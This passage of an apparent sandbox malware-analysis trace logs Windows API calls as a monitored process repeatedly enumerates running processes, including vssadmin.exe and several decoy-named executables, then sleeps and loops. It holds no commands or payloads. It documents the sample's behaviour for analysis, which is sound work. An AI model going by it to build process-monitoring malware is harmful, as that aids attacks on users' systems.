(AnsiString="services.exe") [0061.662] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0061.662] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0061.662] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e38 [0061.663] RtlFreeAnsiString (AnsiString="lsass.exe") [0061.663] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0061.663] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.663] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0061.663] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.663] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0061.663] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0061.663] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e50 [0061.663] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0061.663] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.663] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0061.663] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e68 [0061.663] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0061.663] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.663] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.663] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0061.663] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.663] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.663] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0061.663] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175ac8 [0061.663] RtlFreeAnsiString (AnsiString="dwm.exe") [0061.663] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ac8) returned 1 [0061.663] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.663] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.664] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.664] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.664] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.664] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.664] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.664] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.664] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.664] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.664] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.664] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.664] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.664] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.664] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.664] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.664] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.664] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.664] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.664] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.664] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0061.664] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.664] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0061.664] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.665] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0061.665] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.665] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0061.665] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.665] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.665] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0061.665] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0061.665] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0061.665] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0061.665] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.665] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0061.665] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.665] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.665] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.665] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0061.665] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.665] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.665] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0061.665] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0061.665] RtlFreeAnsiString (AnsiString="audiodg.exe") [0061.665] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0061.665] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0061.665] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e68 [0061.665] RtlFreeAnsiString (AnsiString="sihost.exe") [0061.665] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.665] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.665] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0061.665] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.666] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.666] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0061.666] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0061.666] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0061.666] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0061.666] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0061.666] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0061.666] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0061.666] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0061.666] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0061.666] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0061.666] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0061.666] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0061.666] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0061.666] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0061.666] RtlFreeAnsiString (AnsiString="explorer.exe") [0061.666] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0061.666] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0061.666] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171310 [0061.666] RtlFreeAnsiString (AnsiString="Memory Compression") [0061.666] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0061.666] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0061.666] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171510 [0061.666] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0061.666] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0061.667] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0061.667] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0061.667] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0061.667] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0061.667] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0061.667] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171510 [0061.667] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0061.667] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0061.667] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0061.667] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0061.667] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0061.667] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0061.667] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0061.667] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0061.667] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0061.667] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0061.667] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0061.667] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0061.667] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0061.667] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0061.667] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0061.667] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0061.667] RtlFreeAnsiString (AnsiString="msoia.exe") [0061.667] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0061.667] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0061.667] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0061.668] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0061.668] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.668] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0061.668] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0061.668] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0061.668] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0061.668] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0061.668] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0061.668] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0061.668] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0061.668] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0061.668] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e38 [0061.668] RtlFreeAnsiString (AnsiString="msoia.exe") [0061.668] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0061.668] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0061.668] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0061.668] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0061.668] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0061.668] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0061.668] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0061.668] RtlFreeAnsiString (AnsiString="screensaver.exe") [0061.668] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0061.668] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0061.668] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0061.668] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0061.668] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0061.669] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0061.669] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31622f0 [0061.669] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0061.669] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31622f0) returned 1 [0061.669] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0061.669] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x31713d0 [0061.669] RtlFreeAnsiString (AnsiString="surveillance.exe") [0061.669] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0061.669] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0061.669] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0061.669] RtlFreeAnsiString (AnsiString="legends.exe") [0061.669] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0061.669] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0061.669] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0061.669] RtlFreeAnsiString (AnsiString="miniature.exe") [0061.669] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.669] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0061.669] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e50 [0061.669] RtlFreeAnsiString (AnsiString="spies.exe") [0061.669] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.669] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0061.669] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x31713f0 [0061.669] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0061.669] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0061.669] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0061.670] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161dd8 [0061.670] RtlFreeAnsiString (AnsiString="allied.exe") [0061.670] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0061.683] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0061.683] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175dc8 [0061.717] RtlFreeAnsiString (AnsiString="geo.exe") [0061.717] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175dc8) returned 1 [0061.717] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0061.717] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0061.717] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0061.717] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0061.717] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0061.717] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171410 [0061.717] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0061.717] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171410) returned 1 [0061.717] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0061.717] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0061.717] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0061.717] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0061.717] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0061.717] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0061.717] RtlFreeAnsiString (AnsiString="dupleased.exe") [0061.717] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0061.717] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0061.718] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x31688a8 [0061.718] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0061.718] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0061.718] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0061.718] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0061.718] RtlFreeAnsiString (AnsiString="dllhost.exe") [0061.718] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.718] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0061.718] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0061.718] RtlFreeAnsiString (AnsiString="conhost.exe") [0061.718] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.718] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0061.718] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0061.718] RtlFreeAnsiString (AnsiString="conhost.exe") [0061.718] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0061.718] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0061.718] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0061.718] RtlFreeAnsiString (AnsiString="svchost.exe") [0061.718] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.718] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0061.718] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x31713f0 [0061.718] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0061.718] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0061.718] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0061.718] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0061.718] RtlFreeAnsiString (AnsiString="conhost.exe") [0061.718] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.719] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0061.719] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0061.719] RtlFreeAnsiString (AnsiString="explorer.exe") [0061.719] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0061.719] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0061.719] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0061.719] RtlFreeAnsiString (AnsiString="explorer.exe") [0061.719] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.719] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0061.719] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0061.719] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0061.719] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0061.719] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0061.719] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0061.719] RtlFreeAnsiString (AnsiString="conhost.exe") [0061.719] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0061.719] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0061.719] Sleep (dwMilliseconds=0x64) [0062.842] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0062.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, 